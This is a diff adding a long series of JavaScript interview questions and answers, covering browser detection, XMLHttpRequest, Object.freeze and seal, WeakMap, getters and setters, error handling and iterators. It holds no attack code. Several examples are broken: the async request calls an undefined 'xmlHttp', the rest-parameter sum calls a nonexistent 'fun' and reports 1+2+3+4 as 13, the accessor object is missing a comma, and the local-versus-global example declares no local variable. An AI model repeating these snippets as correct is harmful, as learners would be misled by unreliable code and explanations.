+                    /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(
+                        a.substr(0, 4)
+                    )
+                )
+                    mobileCheck = true;
+            })(navigator.userAgent || navigator.vendor || window.opera);
+            return mobileCheck;
+        };
+        ```
+
+167.    How do you detect a mobile browser without regexp
+
+        You can detect mobile browsers by simply running through a list of devices and checking if the useragent matches anything. This is an alternative solution for RegExp usage,
+
+        ```javascript
+        function detectmob() {
+            if (
+                navigator.userAgent.match(/Android/i) ||
+                navigator.userAgent.match(/webOS/i) ||
+                navigator.userAgent.match(/iPhone/i) ||
+                navigator.userAgent.match(/iPad/i) ||
+                navigator.userAgent.match(/iPod/i) ||
+                navigator.userAgent.match(/BlackBerry/i) ||
+                navigator.userAgent.match(/Windows Phone/i)
+            ) {
+                return true;
+            } else {
+                return false;
+            }
+        }
+        ```
+
+168.    How do you get the image width and height using JS
+
+        You can programmatically get the image and check the dimensions(width and height) using Javascript.
+
+        ```javascript
+        var img = new Image();
+        img.onload = function () {
+            console.log(this.width + 'x' + this.height);
+        };
+        img.src = 'http://www.google.com/intl/en_ALL/images/logo.gif';
+        ```
+
+169.    How do you make synchronous HTTP request
+
+        Browsers provide an XMLHttpRequest object which can be used to make synchronous HTTP requests from JavaScript
+
+        ```javascript
+        function httpGet(theUrl) {
+            var xmlHttpReq = new XMLHttpRequest();
+            xmlHttpReq.open('GET', theUrl, false); // false for synchronous request
+            xmlHttpReq.send(null);
+            return xmlHttpReq.responseText;
+        }
+        ```
+
+170.    How do you make asynchronous HTTP request
+
+        Browsers provide an XMLHttpRequest object which can be used to make asynchronous HTTP requests from JavaScript by passing the 3rd parameter as true.
+
+        ```javascript
+        function httpGetAsync(theUrl, callback) {
+            var xmlHttpReq = new XMLHttpRequest();
+            xmlHttpReq.onreadystatechange = function () {
+                if (xmlHttpReq.readyState == 4 && xmlHttpReq.status == 200) callback(xmlHttpReq.responseText);
+            };
+            xmlHttp.open('GET', theUrl, true); // true for asynchronous
+            xmlHttp.send(null);
+        }
+        ```
+
+171.    How do you convert date to another timezone in javascript
+
+        You can use the toLocaleString() method to convert dates in one timezone to another. For example, let's convert current date to British English timezone as below,
+
+        ```javascript
+        console.log(event.toLocaleString('en-GB', { timeZone: 'UTC' })); //29/06/2019, 09:56:00
+        ```
+
+172.    What are the properties used to get size of window
+
+        You can use innerWidth, innerHeight, clientWidth, clientHeight properties of windows, document element and document body objects to find the size of a window. Let's use them combination of these properties to calculate the size of a window or document,
+
+        ```javascript
+        var width = window.innerWidth || document.documentElement.clientWidth || document.body.clientWidth;
+
+        var height = window.innerHeight || document.documentElement.clientHeight || document.body.clientHeight;
+        ```
+
+173.    What is a conditional operator in javascript
+
+        The conditional (ternary) operator is the only JavaScript operator that takes three operands which acts as a shortcut for if statements.
+
+        ```javascript
+        var isAuthenticated = false;
+        console.log(isAuthenticated ? 'Hello, welcome' : 'Sorry, you are not authenticated'); //Sorry, you are not authenticated
+        ```
+
+174.    Can you apply chaining on conditional operator
+
+        Yes, you can apply chaining on conditional operators similar to if … else if … else if … else chain. The syntax is going to be as below,
+
+        ```javascript
+        function traceValue(someParam) {
+            return condition1 ? value1 : condition2 ? value2 : condition3 ? value3 : value4;
+        }
+
+        // The above conditional operator is equivalent to:
+
+        function traceValue(someParam) {
+            if (condition1) {
+                return value1;
+            } else if (condition2) {
+                return value2;
+            } else if (condition3) {
+                return value3;
+            } else {
+                return value4;
+            }
+        }
+        ```
+
+175.    What are the ways to execute javascript after page load
+
+        You can execute javascript after page load in many different ways,
+
+        1. **window.onload:**
+
+        ```javascript
+        window.onload = function ...
+        ```
+
+        1. **document.onload:**
+
+        ```javascript
+        document.onload = function ...
+        ```
+
+        1. **body onload:**
+
+        ```javascript
+        <body onload="script();">
+        ```
+
+176.    What is the difference between proto and prototype
+
+        The `__proto__` object is the actual object that is used in the lookup chain to resolve methods, etc. Whereas `prototype` is the object that is used to build `__proto__` when you create an object with new
+
+        ```javascript
+        new Employee().__proto__ === Employee.prototype;
+        new Employee().prototype === undefined;
+        ```
+
+177.    Give an example where do you really need semicolon
+
+        It is recommended to use semicolons after every statement in JavaScript. For example, in the below case it throws an error ".. is not a function" at runtime due to missing semicolon.
+
+        ```javascript
+        // define a function
+        var fn = (function () {
+            //...
+        })(
+            // semicolon missing at this line
+
+            // then execute some code inside a closure
+            function () {
+                //...
+            }
+        )();
+        ```
+
+        and it will be interpreted as
+
+        ```javascript
+        var fn = (function () {
+            //...
+        })(function () {
+            //...
+        })();
+        ```
+
+        In this case, we are passing the second function as an argument to the first function and then trying to call the result of the first function call as a function. Hence, the second function will fail with a "... is not a function" error at runtime.
+
+178.    What is a freeze method
+
+        The **freeze()** method is used to freeze an object. Freezing an object does not allow adding new properties to an object,prevents from removing and prevents changing the enumerability, configurability, or writability of existing properties. i.e, It returns the passed object and does not create a frozen copy.
+
+        ```javascript
+        const obj = {
+            prop: 100
+        };
+
+        Object.freeze(obj);
+        obj.prop = 200; // Throws an error in strict mode
+
+        console.log(obj.prop); //100
+        ```
+
+        **Note:** It causes a TypeError if the argument passed is not an object.
+
+179.    What is the purpose of freeze method
+
+        Below are the main benefits of using freeze method,
+
+        1. It is used for freezing objects and arrays.
+        2. It is used to make an object immutable.
+
+180.    Why do I need to use freeze method
+
+        In the Object-oriented paradigm, an existing API contains certain elements that are not intended to be extended, modified, or re-used outside of their current context. Hence it works as the `final` keyword which is used in various languages.
+
+181.    How do you detect a browser language preference
+
+        You can use navigator object to detect a browser language preference as below,
+
+        ```javascript
+        var language =
+            (navigator.languages && navigator.languages[0]) || // Chrome / Firefox
+            navigator.language || // All browsers
+            navigator.userLanguage; // IE <= 10
+
+        console.log(language);
+        ```
+
+182.    How to convert string to title case with javascript
+
+        Title case means that the first letter of each word is capitalized. You can convert a string to title case using the below function,
+
+        ```javascript
+        function toTitleCase(str) {
+            return str.replace(/\w\S*/g, function (txt) {
+                return txt.charAt(0).toUpperCase() + txt.substr(1).toLowerCase();
+            });
+        }
+        toTitleCase('good morning john'); // Good Morning John
+        ```
+
+183.    How do you detect javascript disabled in the page
+
+        You can use the `<noscript>` tag to detect javascript disabled or not. The code block inside `<noscript>` gets executed when JavaScript is disabled, and is typically used to display alternative content when the page generated in JavaScript.
+
+        ```javascript
+        <script type="javascript">
+            // JS related code goes here
+        </script>
+        <noscript>
+            <a href="next_page.html?noJS=true">JavaScript is disabled in the page. Please click Next Page</a>
+        </noscript>
+        ```
+
+184.    What are various operators supported by javascript
+
+        An operator is capable of manipulating(mathematical and logical computations) a certain value or operand. There are various operators supported by JavaScript as below,
+
+        1. **Arithmetic Operators:** Includes + (Addition),- (Subtraction), \* (Multiplication), / (Division), % (Modulus), + + (Increment) and - - (Decrement)
+        2. **Comparison Operators:** Includes = =(Equal),!= (Not Equal), ===(Equal with type), > (Greater than),> = (Greater than or Equal to),< (Less than),<= (Less than or Equal to)
+        3. **Logical Operators:** Includes &&(Logical AND),||(Logical OR),!(Logical NOT)
+        4. **Assignment Operators:** Includes = (Assignment Operator), += (Add and Assignment Operator), - = (Subtract and Assignment Operator), \*= (Multiply and Assignment), /= (Divide and Assignment), %= (Modules and Assignment)
+        5. **Ternary Operators:** It includes conditional(: ?) Operator
+        6. **typeof Operator:** It uses to find type of variable. The syntax looks like `typeof variable`
+
+185.    What is a rest parameter
+
+        Rest parameter is an improved way to handle function parameters which allows us to represent an indefinite number of arguments as an array. The syntax would be as below,
+
+        ```javascript
+        function f(a, b, ...theArgs) {
+            // ...
+        }
+        ```
+
+        For example, let's take a sum example to calculate on dynamic number of parameters,
+
+        ```javascript
+        function total(…args){
+        let sum = 0;
+        for(let i of args){
+        sum+=i;
+        }
+        return sum;
+        }
+        console.log(fun(1,2)); //3
+        console.log(fun(1,2,3)); //6
+        console.log(fun(1,2,3,4)); //13
+        console.log(fun(1,2,3,4,5)); //15
+        ```
+
+        **Note:** Rest parameter is added in ES2015 or ES6
+
+186.    What happens if you do not use rest parameter as a last argument
+
+        The rest parameter should be the last argument, as its job is to collect all the remaining arguments into an array. For example, if you define a function like below it doesn't make any sense and will throw an error.
+
+        ```javascript
+        function someFunc(a,…b,c){
+        //You code goes here
+        return;
+        }
+        ```
+
+187.    What are the bitwise operators available in javascript
+
+        Below are the list of bitwise logical operators used in JavaScript
+
+        1. Bitwise AND ( & )
+        2. Bitwise OR ( | )
+        3. Bitwise XOR ( ^ )
+        4. Bitwise NOT ( ~ )
+        5. Left Shift ( << )
+        6. Sign Propagating Right Shift ( >> )
+        7. Zero fill Right Shift ( >>> )
+
+188.    What is a spread operator
+
+        Spread operator allows iterables( arrays / objects / strings ) to be expanded into single arguments/elements. Let's take an example to see this behavior,
+
+        ```javascript
+        function calculateSum(x, y, z) {
+            return x + y + z;
+        }
+
+        const numbers = [1, 2, 3];
+
+        console.log(calculateSum(...numbers)); // 6
+        ```
+
+189.    How do you determine whether object is frozen or not
+
+        Object.isFrozen() method is used to determine if an object is frozen or not.An object is frozen if all of the below conditions hold true,
+
+        1. If it is not extensible.
+        2. If all of its properties are non-configurable.
+        3. If all its data properties are non-writable.
+           The usage is going to be as follows,
+
+        ```javascript
+        const object = {
+            property: 'Welcome JS world'
+        };
+        Object.freeze(object);
+        console.log(Object.isFrozen(object));
+        ```
+
+190.    How do you determine two values same or not using object
+
+        The Object.is() method determines whether two values are the same value. For example, the usage with different types of values would be,
+
+        ```javascript
+        Object.is('hello', 'hello'); // true
+        Object.is(window, window); // true
+        Object.is([], []); // false
+        ```
+
+        Two values are the same if one of the following holds:
+
+        1. both undefined
+        2. both null
+        3. both true or both false
+        4. both strings of the same length with the same characters in the same order
+        5. both the same object (means both object have same reference)
+        6. both numbers and
+           both +0
+           both -0
+           both NaN
+           both non-zero and both not NaN and both have the same value.
+
+191.    What is the purpose of using object is method
+
+        Some of the applications of Object's `is` method are follows,
+
+        1. It is used for comparison of two strings.
+        2. It is used for comparison of two numbers.
+        3. It is used for comparing the polarity of two numbers.
+        4. It is used for comparison of two objects.
+
+192.    How do you copy properties from one object to other
+
+        You can use the Object.assign() method which is used to copy the values and properties from one or more source objects to a target object. It returns the target object which has properties and values copied from the target object. The syntax would be as below,
+
+        ```javascript
+        Object.assign(target, ...sources);
+        ```
+
+        Let's take example with one source and one target object,
+
+        ```javascript
+        const target = { a: 1, b: 2 };
+        const source = { b: 3, c: 4 };
+
+        const returnedTarget = Object.assign(target, source);
+
+        console.log(target); // { a: 1, b: 3, c: 4 }
+
+        console.log(returnedTarget); // { a: 1, b: 3, c: 4 }
+        ```
+
+        As observed in the above code, there is a common property(`b`) from source to target so it's value has been overwritten.
+
+193.    What are the applications of assign method
+
+        Below are the some of main applications of Object.assign() method,
+
+        1. It is used for cloning an object.
+        2. It is used to merge objects with the same properties.
+
+194.    What is a proxy object
+
+        The Proxy object is used to define custom behavior for fundamental operations such as property lookup, assignment, enumeration, function invocation, etc. The syntax would be as follows,
+
+        ```javascript
+        var p = new Proxy(target, handler);
+        ```
+
+        Let's take an example of proxy object,
+
+        ```javascript
+        var handler = {
+            get: function (obj, prop) {
+                return prop in obj ? obj[prop] : 100;
+            }
+        };
+
+        var p = new Proxy({}, handler);
+        p.a = 10;
+        p.b = null;
+
+        console.log(p.a, p.b); // 10, null
+        console.log('c' in p, p.c); // false, 100
+        ```
+
+        In the above code, it uses `get` handler which define the behavior of the proxy when an operation is performed on it
+
+195.    What is the purpose of seal method
+
+        The **Object.seal()** method is used to seal an object, by preventing new properties from being added to it and marking all existing properties as non-configurable. But values of present properties can still be changed as long as they are writable. Let's see the below example to understand more about seal() method
+
+        ```javascript
+        const object = {
+            property: 'Welcome JS world'
+        };
+        Object.seal(object);
+        object.property = 'Welcome to object world';
+        console.log(Object.isSealed(object)); // true
+        delete object.property; // You cannot delete when sealed
+        console.log(object.property); //Welcome to object world
+        ```
+
+196.    What are the applications of seal method
+
+        Below are the main applications of Object.seal() method,
+
+        1. It is used for sealing objects and arrays.
+        2. It is used to make an object immutable.
+
+197.    What are the differences between freeze and seal methods
+
+        If an object is frozen using the Object.freeze() method then its properties become immutable and no changes can be made in them whereas if an object is sealed using the Object.seal() method then the changes can be made in the existing properties of the object.
+
+198.    How do you determine if an object is sealed or not
+
+        The Object.isSealed() method is used to determine if an object is sealed or not. An object is sealed if all of the below conditions hold true
+
+        1. If it is not extensible.
+        2. If all of its properties are non-configurable.
+        3. If it is not removable (but not necessarily non-writable).
+           Let's see it in the action
+
+        ```javascript
+        const object = {
+            property: 'Hello, Good morning'
+        };
+
+        Object.seal(object); // Using seal() method to seal the object
+
+        console.log(Object.isSealed(object)); // checking whether the object is sealed or not
+        ```
+
+199.    How do you get enumerable key and value pairs
+
+        The Object.entries() method is used to return an array of a given object's own enumerable string-keyed property [key, value] pairs, in the same order as that provided by a for...in loop. Let's see the functionality of object.entries() method in an example,
+
+        ```javascript
+        const object = {
+            a: 'Good morning',
+            b: 100
+        };
+
+        for (let [key, value] of Object.entries(object)) {
+            console.log(`${key}: ${value}`); // a: 'Good morning'
+            // b: 100
+        }
+        ```
+
+        **Note:** The order is not guaranteed as object defined.
+
+200.    What is the main difference between Object.values and Object.entries method
+
+        The Object.values() method's behavior is similar to Object.entries() method but it returns an array of values instead [key,value] pairs.
+
+        ```javascript
+        const object = {
+            a: 'Good morning',
+            b: 100
+        };
+
+        for (let value of Object.values(object)) {
+            console.log(`${value}`); // 'Good morning'
+            100;
+        }
+        ```
+
+201.    How can you get the list of keys of any object
+
+        You can use the `Object.keys()` method which is used to return an array of a given object's own property names, in the same order as we get with a normal loop. For example, you can get the keys of a user object,
+
+        ```javascript
+        const user = {
+            name: 'John',
+            gender: 'male',
+            age: 40
+        };
+
+        console.log(Object.keys(user)); //['name', 'gender', 'age']
+        ```
+
+202.    How do you create an object with prototype
+
+        The Object.create() method is used to create a new object with the specified prototype object and properties. i.e, It uses an existing object as the prototype of the newly created object. It returns a new object with the specified prototype object and properties.
+
+        ```javascript
+        const user = {
+            name: 'John',
+            printInfo: function () {
+                console.log(`My name is ${this.name}.`);
+            }
+        };
+
+        const admin = Object.create(user);
+
+        admin.name = 'Nick'; // Remember that "name" is a property set on "admin" but not on "user" object
+
+        admin.printInfo(); // My name is Nick
+        ```
+
+203.    What is a WeakSet
+
+        WeakSet is used to store a collection of weakly(weak references) held objects. The syntax would be as follows,
+
+        ```javascript
+        new WeakSet([iterable]);
+        ```
+
+        Let's see the below example to explain it's behavior,
+
+        ```javascript
+        var ws = new WeakSet();
+        var user = {};
+        ws.add(user);
+        ws.has(user); // true
+        ws.delete(user); // removes user from the set
+        ws.has(user); // false, user has been removed
+        ```
+
+204.    What are the differences between WeakSet and Set
+
+        The main difference is that references to objects in Set are strong while references to objects in WeakSet are weak. i.e, An object in WeakSet can be garbage collected if there is no other reference to it.
+        Other differences are,
+
+        1. Sets can store any value Whereas WeakSets can store only collections of objects
+        2. WeakSet does not have size property unlike Set
+        3. WeakSet does not have methods such as clear, keys, values, entries, forEach.
+        4. WeakSet is not iterable.
+
+205.    List down the collection of methods available on WeakSet
+
+        Below are the list of methods available on WeakSet,
+
+        1. add(value): A new object is appended with the given value to the weakset
+        2. delete(value): Deletes the value from the WeakSet collection.
+        3. has(value): It returns true if the value is present in the WeakSet Collection, otherwise it returns false.
+
+        Let's see the functionality of all the above methods in an example,
+
+        ```javascript
+        var weakSetObject = new WeakSet();
+        var firstObject = {};
+        var secondObject = {};
+        // add(value)
+        weakSetObject.add(firstObject);
+        weakSetObject.add(secondObject);
+        console.log(weakSetObject.has(firstObject)); //true
+        weakSetObject.delete(secondObject);
+        ```
+
+206.    What is a WeakMap
+
+        The WeakMap object is a collection of key/value pairs in which the keys are weakly referenced. In this case, keys must be objects and the values can be arbitrary values. The syntax is looking like as below,
+
+        ```javascript
+        new WeakMap([iterable]);
+        ```
+
+        Let's see the below example to explain it's behavior,
+
+        ```javascript
+        var ws = new WeakMap();
+        var user = {};
+        ws.set(user);
+        ws.has(user); // true
+        ws.delete(user); // removes user from the map
+        ws.has(user); // false, user has been removed
+        ```
+
+207.    What are the differences between WeakMap and Map
+
+        The main difference is that references to key objects in Map are strong while references to key objects in WeakMap are weak. i.e, A key object in WeakMap can be garbage collected if there is no other reference to it.
+        Other differences are,
+
+        1. Maps can store any key type Whereas WeakMaps can store only collections of key objects
+        2. WeakMap does not have size property unlike Map
+        3. WeakMap does not have methods such as clear, keys, values, entries, forEach.
+        4. WeakMap is not iterable.
+
+208.    List down the collection of methods available on WeakMap
+
+        Below are the list of methods available on WeakMap,
+
+        1. set(key, value): Sets the value for the key in the WeakMap object. Returns the WeakMap object.
+        2. delete(key): Removes any value associated to the key.
+        3. has(key): Returns a Boolean asserting whether a value has been associated to the key in the WeakMap object or not.
+        4. get(key): Returns the value associated to the key, or undefined if there is none.
+           Let's see the functionality of all the above methods in an example,
+
+        ```javascript
+        var weakMapObject = new WeakMap();
+        var firstObject = {};
+        var secondObject = {};
+        // set(key, value)
+        weakMapObject.set(firstObject, 'John');
+        weakMapObject.set(secondObject, 100);
+        console.log(weakMapObject.has(firstObject)); //true
+        console.log(weakMapObject.get(firstObject)); // John
+        weakMapObject.delete(secondObject);
+        ```
+
+209.    What is the purpose of uneval
+
+        The uneval() is an inbuilt function which is used to create a string representation of the source code of an Object. It is a top-level function and is not associated with any object. Let's see the below example to know more about it's functionality,
+
+        ```javascript
+        var a = 1;
+        uneval(a); // returns a String containing 1
+        uneval(function user() {}); // returns "(function user(){})"
+        ```
+
+210.    How do you encode an URL
+
+        The encodeURI() function is used to encode complete URI which has special characters except (, / ? : @ & = + $ #) characters.
+
+        ```javascript
+        var uri = 'https://mozilla.org/?x=шеллы';
+        var encoded = encodeURI(uri);
+        console.log(encoded); // https://mozilla.org/?x=%D1%88%D0%B5%D0%BB%D0%BB%D1%8B
+        ```
+
+211.    How do you decode an URL
+
+        The decodeURI() function is used to decode a Uniform Resource Identifier (URI) previously created by encodeURI().
+
+        ```javascript
+        var uri = 'https://mozilla.org/?x=шеллы';
+        var encoded = encodeURI(uri);
+        console.log(encoded); // https://mozilla.org/?x=%D1%88%D0%B5%D0%BB%D0%BB%D1%8B
+        try {
+            console.log(decodeURI(encoded)); // "https://mozilla.org/?x=шеллы"
+        } catch (e) {
+            // catches a malformed URI
+            console.error(e);
+        }
+        ```
+
+212.    How do you print the contents of web page
+
+        The window object provided a print() method which is used to print the contents of the current window. It opens a Print dialog box which lets you choose between various printing options. Let's see the usage of print method in an example,
+
+        ```html
+        <input type="button" value="Print" onclick="window.print()" />
+        ```
+
+        **Note:** In most browsers, it will block while the print dialog is open.
+
+213.    What is the difference between uneval and eval
+
+        The `uneval` function returns the source of a given object; whereas the `eval` function does the opposite, by evaluating that source code in a different memory area. Let's see an example to clarify the difference,
+
+        ```javascript
+        var msg = uneval(function greeting() {
+            return 'Hello, Good morning';
+        });
+        var greeting = eval(msg);
+        greeting(); // returns "Hello, Good morning"
+        ```
+
+214.    What is an anonymous function
+
+        An anonymous function is a function without a name! Anonymous functions are commonly assigned to a variable name or used as a callback function. The syntax would be as below,
+
+        ```javascript
+        function (optionalParameters) {
+          //do something
+        }
+
+        const myFunction = function(){ //Anonymous function assigned to a variable
+          //do something
+        };
+
+        [1, 2, 3].map(function(element){ //Anonymous function used as a callback function
+          //do something
+        });
+        ```
+
+        Let's see the above anonymous function in an example,
+
+        ```javascript
+        var x = function (a, b) {
+            return a * b;
+        };
+        var z = x(5, 10);
+        console.log(z); // 50
+        ```
+
+215.    What is the precedence order between local and global variables
+
+        A local variable takes precedence over a global variable with the same name. Let's see this behavior in an example.
+
+        ```javascript
+        var msg = 'Good morning';
+        function greeting() {
+            msg = 'Good Evening';
+            console.log(msg);
+        }
+        greeting();
+        ```
+
+216.    What are javascript accessors
+
+        ECMAScript 5 introduced javascript object accessors or computed properties through getters and setters. Getters uses the `get` keyword whereas Setters uses the `set` keyword.
+
+        ```javascript
+        var user = {
+          firstName: "John",
+          lastName : "Abraham",
+          language : "en",
+          get lang() {
+            return this.language;
+          }
+          set lang(lang) {
+          this.language = lang;
+          }
+        };
+        console.log(user.lang); // getter access lang as en
+        user.lang = 'fr';
+        console.log(user.lang); // setter used to set lang as fr
+        ```
+
+217.    How do you define property on Object constructor
+
+        The Object.defineProperty() static method is used to define a new property directly on an object, or modify an existing property on an object, and returns the object. Let's see an example to know how to define property,
+
+        ```javascript
+        const newObject = {};
+
+        Object.defineProperty(newObject, 'newProperty', {
+            value: 100,
+            writable: false
+        });
+
+        console.log(newObject.newProperty); // 100
+
+        newObject.newProperty = 200; // It throws an error in strict mode due to writable setting
+        ```
+
+218.    What is the difference between get and defineProperty
+
+        Both have similar results until unless you use classes. If you use `get` the property will be defined on the prototype of the object whereas using `Object.defineProperty()` the property will be defined on the instance it is applied to.
+
+219.    What are the advantages of Getters and Setters
+
+        Below are the list of benefits of Getters and Setters,
+
+        1. They provide simpler syntax
+        2. They are used for defining computed properties, or accessors in JS.
+        3. Useful to provide equivalence relation between properties and methods
+        4. They can provide better data quality
+        5. Useful for doing things behind the scenes with the encapsulated logic.
+
+220.    Can I add getters and setters using defineProperty method
+
+        Yes, You can use the `Object.defineProperty()` method to add Getters and Setters. For example, the below counter object uses increment, decrement, add and subtract properties,
+
+        ```javascript
+        var obj = { counter: 0 };
+
+        // Define getters
+        Object.defineProperty(obj, 'increment', {
+            get: function () {
+                this.counter++;
+            }
+        });
+        Object.defineProperty(obj, 'decrement', {
+            get: function () {
+                this.counter--;
+            }
+        });
+
+        // Define setters
+        Object.defineProperty(obj, 'add', {
+            set: function (value) {
+                this.counter += value;
+            }
+        });
+        Object.defineProperty(obj, 'subtract', {
+            set: function (value) {
+                this.counter -= value;
+            }
+        });
+
+        obj.add = 10;
+        obj.subtract = 5;
+        console.log(obj.increment); //6
+        console.log(obj.decrement); //5
+        ```
+
+221.    What is the purpose of switch-case
+
+        The switch case statement in JavaScript is used for decision making purposes. In a few cases, using the switch case statement is going to be more convenient than if-else statements. The syntax would be as below,
+
+        ```javascript
+        switch (expression)
+        {
+            case value1:
+                statement1;
+                break;
+            case value2:
+                statement2;
+                break;
+            .
+            .
+            case valueN:
+                statementN;
+                break;
+            default:
+                statementDefault;
+        }
+        ```
+
+        The above multi-way branch statement provides an easy way to dispatch execution to different parts of code based on the value of the expression.
+
+222.    What are the conventions to be followed for the usage of switch case
+
+        Below are the list of conventions should be taken care,
+
+        1. The expression can be of type either number or string.
+        2. Duplicate values are not allowed for the expression.
+        3. The default statement is optional. If the expression passed to switch does not match with any case value then the statement within default case will be executed.
+        4. The break statement is used inside the switch to terminate a statement sequence.
+        5. The break statement is optional. But if it is omitted, the execution will continue on into the next case.
+
+223.    What are primitive data types
+
+        A primitive data type is data that has a primitive value (which has no properties or methods). There are 7 types of primitive data types.
+
+        1. string
+        2. number
+        3. boolean
+        4. null
+        5. undefined
+        6. bigint
+        7. symbol
+
+224.    What are the different ways to access object properties
+
+        There are 3 possible ways for accessing the property of an object.
+
+        1. **Dot notation:** It uses dot for accessing the properties
+
+        ```javascript
+        objectName.property;
+        ```
+
+        1. **Square brackets notation:** It uses square brackets for property access
+
+        ```javascript
+        objectName['property'];
+        ```
+
+        1. **Expression notation:** It uses expression in the square brackets
+
+        ```javascript
+        objectName[expression];
+        ```
+
+225.    What are the function parameter rules
+
+        JavaScript functions follow below rules for parameters,
+
+        1. The function definitions do not specify data types for parameters.
+        2. Do not perform type checking on the passed arguments.
+        3. Do not check the number of arguments received.
+           i.e, The below function follows the above rules,
+
+        ```javascript
+        function functionName(parameter1, parameter2, parameter3) {
+            console.log(parameter1); // 1
+        }
+        functionName(1);
+        ```
+
+226.    What is an error object
+
+        An error object is a built in error object that provides error information when an error occurs. It has two properties: name and message. For example, the below function logs error details,
+
+        ```javascript
+        try {
+            greeting('Welcome');
+        } catch (err) {
+            console.log(err.name + '<br>' + err.message);
+        }
+        ```
+
+227.    When you get a syntax error
+
+        A SyntaxError is thrown if you try to evaluate code with a syntax error. For example, the below missing quote for the function parameter throws a syntax error
+
+        ```javascript
+        try {
+            eval("greeting('welcome)"); // Missing ' will produce an error
+        } catch (err) {
+            console.log(err.name);
+        }
+        ```
+
+228.    What are the different error names from error object
+
+        There are 6 different types of error names returned from error object,
+        | Error Name | Description |
+        |---- | ---------
+        | EvalError | An error has occurred in the eval() function |
+        | RangeError | An error has occurred with a number "out of range" |
+        | ReferenceError | An error due to an illegal reference|
+        | SyntaxError | An error due to a syntax error|
+        | TypeError | An error due to a type error |
+        | URIError | An error due to encodeURI() |
+
+229.    What are the various statements in error handling
+
+        Below are the list of statements used in an error handling,
+
+        1. **try:** This statement is used to test a block of code for errors
+        2. **catch:** This statement is used to handle the error
+        3. **throw:** This statement is used to create custom errors.
+        4. **finally:** This statement is used to execute code after try and catch regardless of the result.
+
+230.    What are the two types of loops in javascript
+
+        1. **Entry Controlled loops:** In this kind of loop type, the test condition is tested before entering the loop body. For example, For Loop and While Loop comes under this category.
+        2. **Exit Controlled Loops:** In this kind of loop type, the test condition is tested or evaluated at the end of the loop body. i.e, the loop body will execute at least once irrespective of test condition true or false. For example, do-while loop comes under this category.
+
+231.    What is nodejs
+
+        Node.js is a server-side platform built on Chrome's JavaScript runtime for easily building fast and scalable network applications. It is an event-based, non-blocking, asynchronous I/O runtime that uses Google's V8 JavaScript engine and libuv library.
+
+232.    What is an Intl object
+
+        The Intl object is the namespace for the ECMAScript Internationalization API, which provides language sensitive string comparison, number formatting, and date and time formatting. It provides access to several constructors and language sensitive functions.
+
+233.    How do you perform language specific date and time formatting
+
+        You can use the `Intl.DateTimeFormat` object which is a constructor for objects that enable language-sensitive date and time formatting. Let's see this behavior with an example,
+
+        ```javascript
+        var date = new Date(Date.UTC(2019, 07, 07, 3, 0, 0));
+        console.log(new Intl.DateTimeFormat('en-GB').format(date)); // 07/08/2019
+        console.log(new Intl.DateTimeFormat('en-AU').format(date)); // 07/08/2019
+        ```
+
+234.    What is an Iterator
+
+        An iterator is an object which defines a sequence and a return value upon its termination. It implements the Iterator protocol with a `next()` method which returns an object with two properties: `value` (the next value in the sequence) and `done` (which is true if the last value in the sequence has been consumed).
+
+235.    How does synchronous iteration works
+
+        Synchronous iteration was introduced in ES6 and it works with below set of components,
+
+        **Iterable:** It is an object which can be iterated over via a method whose key is Symbol.iterator.
+        **Iterator:** It is an object returned by invoking `[Symbol.iterator]()` on an iterable. This iterator object wraps each iterated element in an object and returns it via `next()` method one by one.
+        **IteratorResult:** It is an object returned by `next()` method. The object contains two properties; the `value` property contains an iterated element and the `done` property determines whether the element is the last element or not.
+
+        Let's demonstrate synchronous iteration with an array as below,
+
+        ```javascript
+        const iterable = ['one', 'two', 'three'];
+        const iterator = iterable[Symbol.iterator]();
+        console.log(iterator.next()); // { value: 'one', done: false }
+        console.log(iterator.next()); // { value: 'two', done: false }
+        console.log(iterator.next()); // { value: 'three', done: false }
+        console.log(iterator.next()); // { value: 'undefined, done: true }
+        ```
+
+236.    What is an event loop
+
